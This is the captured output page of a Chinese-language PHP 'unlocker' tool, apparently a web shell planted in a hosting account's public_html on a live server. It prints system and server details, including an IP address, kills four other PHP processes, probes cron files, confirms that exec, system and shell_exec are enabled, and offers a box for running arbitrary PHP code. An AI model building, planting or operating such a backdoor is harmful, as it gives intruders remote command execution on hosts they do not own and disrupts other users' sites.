可达鸭-解锁专用文件 - Verion 0.2 2024-10-12

当前系统用户: f6uzpx5krqlv | 当前脚本所有者: f6uzpx5krqlv

当前操作系统: Linux premium282.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
当前服务器 IP 地址: 184.94.213.159
当前 PHP 版本: 7.4.33
服务器当前时间: 2025-06-15 14:10:56
当前没有使用 PHP-FPM。

正在运行的 PHP 进程:

f6uzpx5+ 2959229  0.0  0.0 457584 38760 ?        S    09:00   0:00 lsphp
f6uzpx5+ 3699663  0.0  0.0 423396 28524 ?        S    10:08   0:00 lsphp
f6uzpx5+ 3699670  0.1  0.0 423884 15380 ?        Ss   10:08   0:00 lsphp
f6uzpx5+ 3702588  0.1  0.0 457720 17044 ?        Ss   10:08   0:00 lsphp:6uzpx5krqlv/public_html/3768445251_index.php
f6uzpx5+ 3727885  0.1  0.0 457720 16444 ?        Ss   10:10   0:00 lsphp:/home/f6uzpx5krqlv/public_html/qing2.php
f6uzpx5+ 3732497  0.0  0.0  20172  2832 ?        S    10:10   0:00 sh -c ps aux | grep php
f6uzpx5+ 3732499  0.0  0.0   9292  1212 ?        S    10:10   0:00 grep php

加载的PHP扩展: Core, date, libxml, openssl, pcre, sqlite3, zlib, bz2, calendar, ctype, curl, hash, filter, ftp, gettext, gmp, SPL, iconv, pcntl, readline, Reflection, session, standard, shmop, SimpleXML, mbstring, tokenizer, xml, litespeed, bcmath, dom, fileinfo, gd, imagick, imap, inotify, intl, json, exif, mysqlnd, mysqli, PDO, pdo_mysql, pdo_sqlite, Phar, posix, soap, xmlreader, xmlrpc, xmlwriter

正在运行的 PHP 进程:

Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format
Invalid process data format

当前PHP脚本的进程ID: 3727885

开始kill PHP进程...

2959229 ? 00:00:00 lsphp 进程 2959229 已 Kill.⚔️
3699663 ? 00:00:00 lsphp 进程 3699663 已 Kill.⚔️
3699670 ? 00:00:00 lsphp 进程 3699670 已 Kill.⚔️
3702588 ? 00:00:00 lsphp 进程 3702588 已 Kill.⚔️
3727885 ? 00:00:00 lsphp 跳过本身 (PID: 3727885)>>
共终止PHP进程数: 4

检查定时任务

无法访问 /etc/crontab
无法访问 /var/spool/cron/crontabs/
无法访问 /etc/cron.d/

index.php 文件不存在。

输入指定单文件路径

unLocker

执行环境检测 - 执行函数检查

exec: Enabled
passthru: Enabled
system: Enabled
shell_exec: Enabled

输入php代码开始执行

Output:

f6uzpx5+ 2959229  0.0  0.0 457584 38760 ?        S    09:00   0:00 lsphp
f6uzpx5+ 3699663  0.0  0.0 423396 28524 ?        S    10:08   0:00 lsphp
f6uzpx5+ 3699670  0.1  0.0 423884 15380 ?        Ss   10:08   0:00 lsphp
f6uzpx5+ 3702588  0.1  0.0 457720 17044 ?        Ss   10:08   0:00 lsphp:6uzpx5krqlv/public_html/3768445251_index.php
f6uzpx5+ 3727885  0.1  0.0 457720 16444 ?        Ss   10:10   0:00 lsphp:/home/f6uzpx5krqlv/public_html/qing2.php
f6uzpx5+ 3732497  0.0  0.0  20172  2832 ?        S    10:10   0:00 sh -c ps aux | grep php
f6uzpx5+ 3732499  0.0  0.0   9292  1212 ?        S    10:10   0:00 grep php